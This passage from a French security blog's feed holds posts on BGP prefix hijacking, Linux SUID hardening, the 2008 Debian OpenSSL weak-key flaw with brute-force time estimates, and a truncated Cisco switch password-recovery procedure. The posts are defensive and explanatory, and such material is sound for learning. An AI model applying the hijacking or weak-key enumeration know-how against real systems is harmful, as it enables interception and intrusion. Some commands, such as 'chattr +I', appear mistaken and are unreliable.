<dc:creator>Crashdump</dc:creator>
<category>
<![CDATA[Réseaux]]>
</category>
<category>
<![CDATA[Sécurité]]>
</category>
<category>
<![CDATA[Alex Pilosov]]>
</category>
<category>
<![CDATA[Anton Kapela]]>
</category>
<category>
<![CDATA[BGP]]>
</category>
<category>
<![CDATA[Border gateway protocol]]>
</category>
<category>
<![CDATA[chine]]>
</category>
<category>
<![CDATA[détournement d'adresse]]>
</category>
<category>
<![CDATA[defcon]]>
</category>
<category>
<![CDATA[Echellon]]>
</category>
<category>
<![CDATA[faille]]>
</category>
<category>
<![CDATA[hacker]]>
</category>
<category>
<![CDATA[hijacking]]>
</category>
<category>
<![CDATA[Internet]]>
</category>
<category>
<![CDATA[IP]]>
</category>
<category>
<![CDATA[NSA]]>
</category>
<category>
<![CDATA[Pakistan Telecom]]>
</category>
<category>
<![CDATA[pirate]]>
</category>
<category>
<![CDATA[routeur]]>
</category>
<category>
<![CDATA[table routage]]>
</category>
<category>
<![CDATA[trafic]]>
</category>
<category>
<![CDATA[youtube]]>
</category>
<guid isPermaLink="false">http://www.crashdump.fr/?p=316</guid>
<description>
<![CDATA[<p><img width="240" height="150" src="http://www.crashdump.fr/wp-content/uploads/2008/08/cisco.jpg" class="attachment-featured-image wp-post-image" alt="cisco" title="cisco" /></p><br />Introduction Le BGP (Border gateway protocol) est un protocole d&#8217;échange de route utilisée &#8211; entre autres &#8211; sur Internet. Son objectif est d&#8217;échanger des réseaux avec les routeurs voisins pour établir des tables de routage dynamiques : Les routeurs s&#8217;échangent des informations sur les réseaux qu&#8217;ils connaissent et sur le moyen de les atteindre. Petit [...]]]>
</description>
<content:encoded>
<![CDATA[<p><img width="240" height="150" src="http://www.crashdump.fr/wp-content/uploads/2008/08/cisco.jpg" class="attachment-featured-image wp-post-image" alt="cisco" title="cisco" /></p><br /><li>
<h3>Introduction</h3>
</li>
<p>Le BGP (Border gateway protocol) est un protocole d&#8217;échange de route utilisée &#8211; entre autres &#8211; sur Internet. Son objectif est d&#8217;échanger des réseaux avec les routeurs voisins pour établir des tables de routage dynamiques : Les routeurs s&#8217;échangent des informations sur les réseaux qu&#8217;ils connaissent et sur le moyen de les atteindre.</p>
<li>
<h3>Petit rappel sur le routage</h3>
</li>
<p>Pour communiquer avec une autre machine, le système suis la table de routage. (On peut l&#8217;afficher sur quasiment tous les Unix avec &laquo;&nbsp;netstat -rn&nbsp;&raquo;, avec &laquo;&nbsp;route -n&nbsp;&raquo; sur Linux ou encore &laquo;&nbsp;route -n show&nbsp;&raquo; sur NetBSD. Prenons un exemple :<br />
<span id="more-316"></span><br />
Imaginons un routeur ayant la table de routage suivante :</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">192.168.10.0 192.168.10.254 255.255.255.0 UG 0 0 0 eth0<br />
192.168.20.0 192.168.20.254 255.255.255.0 UG 0 0 0 eth0<br />
192.168.30.0 192.168.30.254 255.255.255.0 UG 0 0 0 eth0</div></td></tr></tbody></table></div>
<p>Et dont les paquets doivent être envoyés à la destination de 192.168.20.37 : Ils seront envoyés tout d&#8217;abord à 192.168.20.254 qui les fera suivre. Faisons un traceroute pour le vérifier:</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">traceroute to 192.168.20.37 (192.168.20.37), 64 hops max, 40 byte packets<br />
1 192.168.20.254 1 ms 0 ms 0 ms<br />
2 192.168.20.37 1 ms 1 ms 1 ms</div></td></tr></tbody></table></div>
<p>On voit bien dans cet exemple la manière dont les paquets arrivent à destination. Seulement ici nous sommes dans le cadre d&#8217;un petit réseau, imaginez la même chose à la hauteur d&#8217;un réseau comme internet&#8230;</p>
<li>
<h3>Introduction à BGP</h3>
</li>
<p>La plupart des connexions vers Internet à partir d&#8217;une résidence ou au bureau sont réalisées par un routing statique, c&#8217;est-à-dire qu&#8217;il n&#8217;existe qu&#8217;une seule route, celle vers votre FAI (Fournisseur d&#8217;accès a Internet). Mais après cela, Internet est un maillage de réseaux. Cela signifie que plusieurs chemins existent entre deux réseaux d&#8217;extrémité. Et ceux-ci ne sont pas tous équivalents&#8230;</p>
<p>En se servant du protocole de routing BGP et à condition de disposer de deux connexions ou plus vers Internet, on peut décider de façon dynamique d&#8217;envoyer un certain type de traffic par une connexion et un autre type de trafic par une autre connexion. En effet, imaginez votre connexion à crashdump.fr circulant dans cette univers cruel et barbare qu&#8217;est Internet. Vous préférerez peut être qu&#8217;ils transitent par tel AS, car l&#8217;admin est un pote ou que vous avez négocié un tarif avantageux. Vous refuserez peut-être qu&#8217;ils transitent par un autre AS, car vos flux sont incompatibles avec la législation en vigueur dans le pays ou pour toute autre considération politique (nldr: Chine), économique ou de sécurité que l&#8217;on peut imaginer. Dans ce cas, vous aurez besoin de définir une politique de routage sur Internet. BGP sert a cela.</p>
<li>
<h3>Le problème&#8230;</h3>
</li>
<p>Le 24 février 2008, YouTube a été indisponible pendant deux heures environs. Ce n&#8217;était pas une panne, mais le résultat d&#8217;une action (délibérée ?) en provenance du Pakistan. Le gouvernement (du Pakistan) a annoncé ce jour là, un blocage de YouTube. Pakistan Telecom à donc exécuté l&#8217;ordre. Ce qui est rigolo (ou pas..) c&#8217;est que par incompétence ou bien par volonté de tester, ils ont réussi à couper YouTube sur l&#8217;ensemble de la planète.</p>
<p>La technique est très banale (ou du moins, connue) et des tas de gens l&#8217;ont déjà exploité. On appelle ça l&#8217;IP hijacking (détournement d&#8217;adresse) et ça consiste à annoncer une route plus spécifique, pour les adresses IP de la victime comme je vous l&#8217;ai expliqué plus haut, grâce au BGP. Oui, très peu d&#8217;entre eux limitent ce qu&#8217;on peut annoncer. N&#8217;importe quel routeur BGP de l&#8217;Internet peut tout à coup se mettre à dire « Envoyez tous les paquets IP à destination de x.x.x.0/24 &#8211; vers moi ». Cette annonce aura même la priorité sur celle du propriétaire légitime, car elle est plus spécifique (la longueur du préfixe est de 24 bits, contre par exemple 22 pour l&#8217;annonce légitime. Ici vous me dites : « Il n&#8217;y a qu&#8217;à authentifier le pair BGP en face ! ». Non, cela ne sert à rien puisque ça ne garantit pas qu&#8217;il aura, lui-même, authentifié ses propres pairs.</p>
<p>Ce problème est connu et ce depuis longtemps et devrait, logiquement, susciter plus d&#8217;inquiétudes pour la sécurité et la stabilité de l&#8217;Internet. Ce n&#8217;est pas facile à résoudre, le problème n&#8217;étant pas technique mais politique et organisationnel. Ce ne sont donc pas les solutions techniques qui manquent (Ex : Secure BGP, soBGP). Rien ne sert d&#8217;installer une alarme ultra sophistiquée sur votre voiture si vous prêtez les clés a tout le monde.</p>
<li>
<h3>La nouvelle découverte:</h3>
</li>
<p>Alex Pilosov et Anton Kapela ont dit, lors du DefCon 16 (2008):</p>
<blockquote><p>- Everyone &#8230; has assumed until now that you have to break something for a hijack to be useful.<br />
- But what we showed here is that you don&#8217;t have to break anything. And if nothing breaks, who notices?</p></blockquote>
<p>Entendez par là :</p>
<p>- Tout le monde est d&#8217;accord sur le fait que, jusqu&#8217;à présent, vous étiez obligé de casser quelque chose pour faire un détournement d&#8217;adresse efficace. (Et donc faire du &laquo;&nbsp;bruit&nbsp;&raquo;).<br />
- Mais ce que nous avons montré ici est différent : Si rien n&#8217;est cassé, qui le remarquera ?</p>
<p>Le type d&#8217;attaque qu&#8217;ils ont démontré est d&#8217;un type nouveau, car elle permet d&#8217;écouter les flux d&#8217;autrui sans être propriétaire du réseau normalement emprunté et surtout sans être repérable !<br />
Pourquoi rien n&#8217;a été fait avant ? Deux raisons : Personne n&#8217;avais jamais démontré qu&#8217;il était possible de faire ce que ces deux jeunes pirates on fait ce jour-là. L&#8217;autre, pire encore : l&#8217;argent. Comme je vous l&#8217;ai expliqué tout à l&#8217;heure, en théorie le problème est bien connu des gouvernements et des agences de sécurité gouvernementales, mais cela coûterait très cher &#8211; en temps et en argent &#8211; de mettre en place une solution plus sûre&#8230; du moins pour le moment !</p>
<p>On pourrait même penser que la situation n&#8217;évolue pas, car elle pourrait permettre aux agences comme la NSA (Big B, Echellon) ou les équivalents d&#8217;autres pays, d&#8217;écouter le trafic mondial très facilement&#8230; Pire, là où un hacker avec peu de moyens ne pourrait pas traiter toutes ces informations, un pays devrait être moins limité.</p>
]]>
</content:encoded>
<wfw:commentRss>http://www.crashdump.fr/securite/protocole-bgp-linternet-en-danger-316/feed/</wfw:commentRss>
<slash:comments>2</slash:comments>
</item>
<item>
<title>Sécuriser un serveur linux (Partie 1)</title>
<link>http://www.crashdump.fr/securite/securiser-un-serveur-linux-partie-1-155/</link>
<comments>http://www.crashdump.fr/securite/securiser-un-serveur-linux-partie-1-155/#comments</comments>
<pubDate>Wed, 16 Jul 2008 19:16:57 +0000</pubDate>
<dc:creator>Crashdump</dc:creator>
<category>
<![CDATA[Sécurité]]>
</category>
<category>
<![CDATA[linux]]>
</category>
<category>
<![CDATA[passwd]]>
</category>
<category>
<![CDATA[suid]]>
</category>
<category>
<![CDATA[tutoriel]]>
</category>
<guid isPermaLink="false">http://blog.crashdump.fr/?p=155</guid>
<description>
<![CDATA[Vous le savez, Linux est un -si ce n&#8217;est le- plus stable des OS que l&#8217;on puisse croiser de nos jours. C&#8217;est aussi un système très populaire. Peut importe ce dont vous avez besoin, vous trouverez chaussure a votre pied&#8230; Mais il ne faut pas faire les choses n&#8217;importe comment, je vais donc essayer d&#8217;aborder [...]]]>
</description>
<content:encoded>
<![CDATA[<p><em>Vous le savez, Linux est un -si ce n&#8217;est le- plus stable des OS que l&#8217;on puisse croiser de nos jours. C&#8217;est aussi un système très populaire. Peut importe ce dont vous avez besoin, vous trouverez chaussure a votre pied&#8230; Mais il ne faut pas faire les choses n&#8217;importe comment, je vais donc essayer d&#8217;aborder ici un point très important: La sécurité. </em></p>
<p><strong>Attention, je n&#8217;ai jamais eu la prétention d&#8217;être un expert dans ce domaine, je vais donc seulement vous parler de ce je connais.. (les bases). Lire cet article ne vous rendra pas aussi populaire que Kevin Mitnik ou assimilé. De plus c&#8217;est un domaine très vaste et en constante évolution. Un bon administrateur saura se tenir informé et devra s&#8217;y intéresser: <a rel="nofollow" href="http://www.securityfocus.com/">http://www.securityfocus.com/</a>, <a rel="nofollow" href="http://www.linuxsecurity.com/">http://www.linuxsecurity.com/</a>&#8230; seront de bonnes sources d&#8217;inspiration :)</strong><br />
<span id="more-155"></span></p>
<h2>
<li>l&#8217;Installation</li>
</h2>
<p>Tout d&#8217;abord je vais supposer que vous savez installer la distribution qui vous intéresse et que c&#8217;est fait &#8211; beau raccourci, hein ! &#8211; Mais sans X11.. parceque-c&#8217;est-moche-et-que-je-suis-un-l33t ? Non. Mais dans ce tutoriel, je ne l&#8217;aborderais pas.</p>
<p>Règle n°1: Si vous n&#8217;avez pas besoin de quelque chose (services, applications..) ne l&#8217;activez pas ! C&#8217;est très important, la raison est simple: Plus vous avez de services activés, plus vous encourez le risque d&#8217;être vulnérable a un exploit&#8230; Un chemin royal pour qui en voudrait a vôtre machine.</p>
<h2>
<li>Verrouillage</li>
</h2>
<p>Première étape pour sécuriser vôtre serveur, plusieurs choses importantes:</p>
<p><strong>Changer le mot de passe root:</strong> J&#8217;insiste sur ce point, mais je vois trop souvent de mot de passes composés de quelques lettres ! Dans la plupart des cas, il devra être composé d&#8217;au moins 12 caractères dont 4 spéciaux (%*/;&#8230;) et 4 numériques. ex: Rv1-45/o;.V6 qui est considéré comme fort. Hey, vous au fond ! Inutile de l&#8217;écrire sous le clavier, juste un petit effort pour le retenir.. ;)<br />
De plus, le changer régulièrement c&#8217;est pas une mauvaise chose.. tout les 2 mois par exemple.<br />
Sachez qu&#8217;il existe des application qui peuvent &laquo;&nbsp;scanner&nbsp;&raquo; vos machines pour essayer différents mot de passes a partir de &laquo;&nbsp;dictionnaires&nbsp;&raquo;, donc évitez la date de naissance de votre belle-mère.<br />
Pour ce qui est des scanners (brute-force) nous verrons, plus tard comment s&#8217;en protéger un minimum.</p>
<p>Pour changer votre mot de passe root:</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"># passwd</div></td></tr></tbody></table></div>
<p>Pour changer le mot de passe de l&#8217;un de vos utilisateurs:</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"># passwd lenomdelutilisateur</div></td></tr></tbody></table></div>
<p><strong>Désactiver les suid:</strong> Parfois très pratiques &#8211; et très dangereux &#8211; le SUID (&laquo;&nbsp;Set User ID&nbsp;&raquo;) vous permet de faire fonctionner une application en tant qu&#8217;autre utilisateur. Imaginez que quelqu&#8217;un ai accès a l&#8217;une de ces applications (via un shell, apache).. et puisse lire votre /etc/shadow.. toute la sécurité de votre serveur serait compromise.</p>
<p>Pour trouver tout les binaires qui utilisent un SUID, tapez la ligne suivante:</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;height:450px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />9<br />10<br />11<br />12<br />13<br />14<br />15<br />16<br />17<br />18<br />19<br />20<br />21<br />22<br />23<br />24<br />25<br />26<br />27<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"># ls -alF `find / -perm -4000` | more<br />
-rwsr-xr-x &nbsp; &nbsp;1 root &nbsp; &nbsp; root &nbsp;60104 Apr &nbsp;1 &nbsp;2002 /bin/mount*<br />
-rwsr-xr-x &nbsp; &nbsp;1 root &nbsp; &nbsp; root &nbsp; &nbsp;35192 Apr 18 &nbsp;2002 /bin/ping*<br />
-rwsr-xr-x &nbsp; &nbsp;1 root &nbsp; &nbsp; root &nbsp; &nbsp;19116 Apr &nbsp;8 &nbsp;2002 /bin/su*<br />
-rwsr-xr-x &nbsp; &nbsp;1 root &nbsp; &nbsp; root &nbsp; &nbsp;30664 Apr &nbsp;1 &nbsp;2002 /bin/umount*<br />
-r-sr-xr-x &nbsp; &nbsp;1 root &nbsp; &nbsp; root &nbsp; &nbsp;120264 Apr &nbsp;9 &nbsp;2002 /sbin/pwdb_chkpwd*<br />
-r-sr-xr-x &nbsp; &nbsp;1 root &nbsp; &nbsp; root &nbsp; &nbsp;16992 Apr &nbsp;9 &nbsp;2002 /sbin/unix_chkpwd*<br />
-rwsr-xr-x &nbsp; &nbsp;1 root &nbsp; &nbsp; root &nbsp; &nbsp;37528 Jan 17 &nbsp;2002 /usr/bin/at*<br />
-rwsr-xr-x &nbsp; &nbsp;1 root &nbsp; &nbsp; root &nbsp; &nbsp;34296 Mar 27 &nbsp;2002 /usr/bin/chage*<br />
-rws--x--x &nbsp; &nbsp;1 root &nbsp; &nbsp; root &nbsp; &nbsp;12072 Apr &nbsp;1 &nbsp;2002 /usr/bin/chfn*<br />
-rws--x--x &nbsp; &nbsp;1 root &nbsp; &nbsp; root &nbsp; &nbsp;11496 Apr &nbsp;1 &nbsp;2002 /usr/bin/chsh*<br />
-rwsr-xr-x &nbsp; &nbsp;1 root &nbsp; &nbsp; root &nbsp; &nbsp;21080 Apr 15 &nbsp;2002 /usr/bin/crontab*<br />
-rwsr-xr-x &nbsp; &nbsp;1 root &nbsp; &nbsp; root &nbsp; &nbsp;36100 Mar 27 &nbsp;2002 /usr/bin/gpasswd*<br />
-rwsr-xr-x &nbsp; &nbsp;1 root &nbsp; &nbsp; root &nbsp; &nbsp;19927 Apr 17 &nbsp;2002 /usr/bin/lppasswd*<br />
-rws--x--x &nbsp; &nbsp;1 root &nbsp; &nbsp; root &nbsp; &nbsp;4764 Apr &nbsp;1 &nbsp;2002 /usr/bin/newgrp*<br />
-r-s--x--x &nbsp; &nbsp;1 root &nbsp; &nbsp; root &nbsp; &nbsp;15104 Mar 13 &nbsp;2002 /usr/bin/passwd*<br />
-rwsr-xr-x &nbsp; &nbsp;1 root &nbsp; &nbsp; root &nbsp; &nbsp;14588 Jul 24 &nbsp;2001 /usr/bin/rcp*<br />
-rwsr-xr-x &nbsp; &nbsp;1 root &nbsp; &nbsp; root &nbsp; &nbsp;10940 Jul 24 &nbsp;2001 /usr/bin/rlogin*<br />
-rwsr-xr-x &nbsp; &nbsp;1 root &nbsp; &nbsp; root &nbsp; &nbsp;7932 Jul 24 &nbsp;2001 /usr/bin/rsh*<br />
-rwsr-xr-x &nbsp; &nbsp;1 root &nbsp; &nbsp; root &nbsp; &nbsp;219932 Apr &nbsp;4 &nbsp;2002 /usr/bin/ssh*<br />
---s--x--x &nbsp; &nbsp;1 root &nbsp; &nbsp; root &nbsp; &nbsp;84680 Apr 18 &nbsp;2002 /usr/bin/sudo*<br />
-rwsr-xr-x &nbsp; &nbsp;1 root &nbsp; &nbsp; root &nbsp; &nbsp;32673 Apr 18 &nbsp;2002 /usr/sbin/ping6*<br />
-r-sr-xr-x &nbsp; &nbsp;1 root &nbsp; &nbsp; root &nbsp; &nbsp;451280 Apr &nbsp;8 &nbsp;2002 /usr/sbin/sendmail.sendmail*<br />
-rwsr-xr-x &nbsp; &nbsp;1 root &nbsp; &nbsp; root &nbsp; &nbsp;20140 Mar 14 &nbsp;2002 /usr/sbin/traceroute*<br />
-rwsr-xr-x &nbsp; &nbsp;1 root &nbsp; &nbsp; root &nbsp; &nbsp;13994 Apr 18 &nbsp;2002 /usr/sbin/traceroute6*<br />
-rws--x--x &nbsp; &nbsp;1 root &nbsp; &nbsp; root &nbsp; &nbsp;22388 Apr 15 &nbsp;2002 /usr/sbin/userhelper*<br />
-rwsr-xr-x &nbsp; &nbsp;1 root &nbsp; &nbsp; root &nbsp; &nbsp;17461 Apr 19 &nbsp;2002 /usr/sbin/usernetctl*</div></td></tr></tbody></table></div>
<p><em>NOTE: Le &laquo;&nbsp;s&nbsp;&raquo; signifie que le fichier est SUID.</em></p>
<p>La plupart des administrateurs systèmes recommandent de désactiver les services comme &laquo;&nbsp;ping&nbsp;&raquo; ou traceroute&nbsp;&raquo; (lorsque vous n&#8217;en avec pas besoin).. Je vous conseillerais de désactiver, dans ce cas: chage, chfn, chsh, mount, umount, gpasswd, usernetctl, traceroute, traceroute6, newgrp, ping6, ping.</p>
<p>Désactiver le SUID sur ces binaires empêche tout autre utilisateur que le propriétaire de l&#8217;exécuter (tout en sachant que la plupart de ces services aurons besoin d&#8217;être exécuté en root pour fonctionner)</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"># chmod 111 /chemin/du/binaire<br />
# chattr +I /chemin/du/binaire</div></td></tr></tbody></table></div>
]]>
</content:encoded>
<wfw:commentRss>http://www.crashdump.fr/securite/securiser-un-serveur-linux-partie-1-155/feed/</wfw:commentRss>
<slash:comments>0</slash:comments>
</item>
<item>
<title>Faille SSL Debian (RGN)</title>
<link>http://www.crashdump.fr/debian/faille-ssl-debian-rgn-147/</link>
<comments>http://www.crashdump.fr/debian/faille-ssl-debian-rgn-147/#comments</comments>
<pubDate>Mon, 26 May 2008 18:51:35 +0000</pubDate>
<dc:creator>Crashdump</dc:creator>
<category>
<![CDATA[Debian]]>
</category>
<category>
<![CDATA[Réseaux]]>
</category>
<category>
<![CDATA[Sécurité]]>
</category>
<category>
<![CDATA[bug]]>
</category>
<category>
<![CDATA[DSA]]>
</category>
<category>
<![CDATA[faille]]>
</category>
<category>
<![CDATA[Luciano Bello]]>
</category>
<category>
<![CDATA[Manitoba]]>
</category>
<category>
<![CDATA[OpenSSL]]>
</category>
<category>
<![CDATA[prng]]>
</category>
<category>
<![CDATA[random]]>
</category>
<category>
<![CDATA[RSA]]>
</category>
<category>
<![CDATA[ssh]]>
</category>
<category>
<![CDATA[vulnerabilité]]>
</category>
<guid isPermaLink="false">http://blog.crashdump.fr/?p=147</guid>
<description>
<![CDATA[Le 13 Mai 2008, Le projet Debian annonçais ce que Luciano Bello avais trouvé: Une vulnérabilité dans le package &#171;&#160;OpenSSL&#160;&#187;. Le bug en question est causé par la suppression pure et simple du code suivant dans md_rand.c: 123MD_Update(&#38;m,buf,j); [ .. ] MD_Update(&#38;m,buf,j); /* purify complains */ Ces lignes ont été retirée parce qu&#8217;elle produisait des [...]]]>
</description>
<content:encoded>
<![CDATA[<p>Le 13 Mai 2008, Le projet Debian annonçais ce que Luciano Bello avais trouvé: Une vulnérabilité dans le package &laquo;&nbsp;OpenSSL&nbsp;&raquo;. Le bug en question est causé par la suppression pure et simple du code suivant dans md_rand.c:</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">MD_Update(&amp;m,buf,j);<br />
[ .. ]<br />
MD_Update(&amp;m,buf,j); /* purify complains */</div></td></tr></tbody></table></div>
<p>Ces lignes ont été retirée parce qu&#8217;elle produisait des erreurs avec certains outils (Utilisation d&#8217;une donnée non initialisée dans la plupart des projets liés a OpenSSL). Mais la suppression de des lignes en question à eu des effets collatéraux sur OpenSSL PRNG. En fait au lieux de mélanger différentes variables aléatoire pour la génération initiale, la seule variable &laquo;&nbsp;aléatoire&nbsp;&raquo; qui a été utilisée étais le PID du générateur -et quand on sais que le nombre maximal par défaut sous linux est de 32,768- le résultat est que PRNG utilise une très petite fourchette de valeurs initiales.<br />
<span id="more-147"></span></p>
<h2>
<li>Impact:</li>
</h2>
<p>Toutes les clés SSL et SSH générées sur des systèmes basé sur Debian (Ubuntu, Debina, Mint&#8230;) entre Septembre 2006 et le 13 Mai 2008 sont affectée par la vulnérabilité. Dans le cas des clé SSL, tout les certificats doivent être révoqué et a nouveau généré. Tous les administrateurs système doivent auditer leurs clés pour être sur qu&#8217;ils ne sont pas touché par la vulnérabilité ! D&#8217;ailleurs tout les outils liés de près ou de loin a OpenSSL PRNG peut être vulnérable, attention.</p>
<p>Tout flux d&#8217;un serveur SSH qui utilise une clé générée par un système vulnérable peut être sujet a une interception (man in the middle) sans que l&#8217;administrateur ne se rende compte de rien. Je vous rassure, les projets Debian et Ubuntu on développé des outils pour identifier les clé vulnérables, vous trouverez plus d&#8217;information a leurs propos en fin de page.</p>
<p>Q: Combien de temps cela prendrais de générer toutes les clés touchées ?<br />
A: Avec 31 Xeon @ 2.33Ghz. Cela prend deux heures pour les clés DSA 1024-bit et RSA 2048-bit pour x86. Les clés RSA 4096-bit sont générés en 6 heures. En ce qui concerne les clés RSA 8192-bit cela prendrais environs 100 heures.</p>
<p>Q: Combien de temps cela prendrait il de cracker un SSH avec ces clés ?<br />
A: Tout dépend de la vitesse du réseau et de la configuration du serveur SSH. Il devrait être possible d&#8217;essayer toutes les clés (32,767 DSA 1024 et RSA 2048) en quelques heures. Attentions aux scripts tels que Fail2Ban (anti-bruteforce).. etc.</p>
<p>Q: J&#8217;utilise une clé RSA 16384 bit, suis-je vulnérable ?<br />
A: Oui, c&#8217;est juste une question de temps (processeur et réseau). Pour le RSA 8192 bit, cela prend environ 3100 heures pour générer toutes les clés. J&#8217;imagine que pour le 16384 bit, nous serions dans les 100,000 heures (en temps CPU). Mais gardez en tête que la &laquo;&nbsp;fourchette&nbsp;&raquo; réele est bien plus mince, basée sur PID du processus qui a servit a générer le tout. Donc, inutile de générer toutes les clé pour en couvrir la majorité ! (La plupart de ces clés sont dans les premiers 3,000 PID)..</p>
<p><a rel="nofollow" href="http://www.debian.org/security/key-rollover/">http://www.debian.org/security/key-rollover/</a><br />
<a rel="nofollow" href="http://wiki.debian.org/SSLkeys">http://wiki.debian.org/SSLkeys</a></p>
<p><a href='http://www.crashdump.fr/wp-content/uploads/2008/05/random_number.png'><img src="http://www.crashdump.fr/wp-content/uploads/2008/05/random_number-250x144.png" alt="" title="random_number" width="250" height="144" class="alignnone size-thumbnail wp-image-148" /></a></p>
]]>
</content:encoded>
<wfw:commentRss>http://www.crashdump.fr/debian/faille-ssl-debian-rgn-147/feed/</wfw:commentRss>
<slash:comments>1</slash:comments>
</item>
<item>
<title>Récupérer le mot de passe d&#8217;un Cisco Catalyst 2950</title>
<link>http://www.crashdump.fr/securite/recuperer-le-mot-de-passe-dun-cisco-catalyst-2950-80/</link>
<comments>http://www.crashdump.fr/securite/recuperer-le-mot-de-passe-dun-cisco-catalyst-2950-80/#comments</comments>
<pubDate>Sun, 04 May 2008 16:18:47 +0000</pubDate>
<dc:creator>Crashdump</dc:creator>
<category>
<![CDATA[Réseaux]]>
</category>
<category>
<![CDATA[Sécurité]]>
</category>
<category>
<![CDATA[2950]]>
</category>
<category>
<![CDATA[catalyst]]>
</category>
<category>
<![CDATA[cisco]]>
</category>
<category>
<![CDATA[console]]>
</category>
<category>
<![CDATA[modifier]]>
</category>
<category>
<![CDATA[mot de passe]]>
</category>
<category>
<![CDATA[recuperer]]>
</category>
<category>
<![CDATA[Tuto]]>
</category>
<guid isPermaLink="false">http://blog.crashdump.fr/?p=80</guid>
<description>
<![CDATA[Vous avez un de ces switchs qui traine dans un coin de votre bureau depuis plusieurs mois, tellement qu&#8217;il est couvert d&#8217;une couche de poussière de plusieurs millimètres. Vous en avez besoin, vous le nettoyez&#8230; mais voila, au moment de le configurer, impossible de se souvenir du mot de passe! Je vais donc mettre à [...]]]>
</description>
<content:encoded>
<![CDATA[<p>Vous avez un de ces switchs qui traine dans un coin de votre bureau depuis plusieurs mois, tellement qu&#8217;il est couvert d&#8217;une couche de poussière de plusieurs millimètres. Vous en avez besoin, vous le nettoyez&#8230; mais voila, au moment de le configurer, impossible de se souvenir du mot de passe!</p>
<p>Je vais donc mettre à votre disposition, ici, une technique pour le récupérer (ou le changer).  Pour celà, on va passer le switch en mode single-user (oui, comme sur votre distribution linux préférée !) et on va lire le mot de passe dans le fichier de configuration &#8230;si il n&#8217;est pas crypté&#8230; dans ce cas précis on le changera directement.<br />
<span id="more-80"></span></p>
<li>
<h2>Mettons les mains dans le cambouis (ou du moins dans la poussière..):</h2>
</li>
<p>1. On connecte un PC sur le port console du switch puis a l&#8217;aide de &laquo;&nbsp;HyperTerminal&nbsp;&raquo; si votre OS est windows ou avec &laquo;&nbsp;tip&nbsp;&raquo; si vous utilisez Linux. Les réglages sont les suivants:<br />
Vitesse: 9600 baud,<br />
Parité: No parity,<br />
Données: 8 data bits,<br />
Bit de stop: 1 stop bit,<br />
Contrôle du flux: No flow control. </p>
<p>2. Redémarrez l&#8217;engin. Pendant le redémarrage, appuyez environs 15 secondes sur le bouton qui se trouve souvent sur la façade avant du matériel.</p>
<p>3. A la fin du chargement, vous aurez accès au terminal en mode single. on est dedans.</p>
<p>4.Tapez:</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">flash_init</div></td></tr></tbody></table></div>
<p>5. Puis:</p>
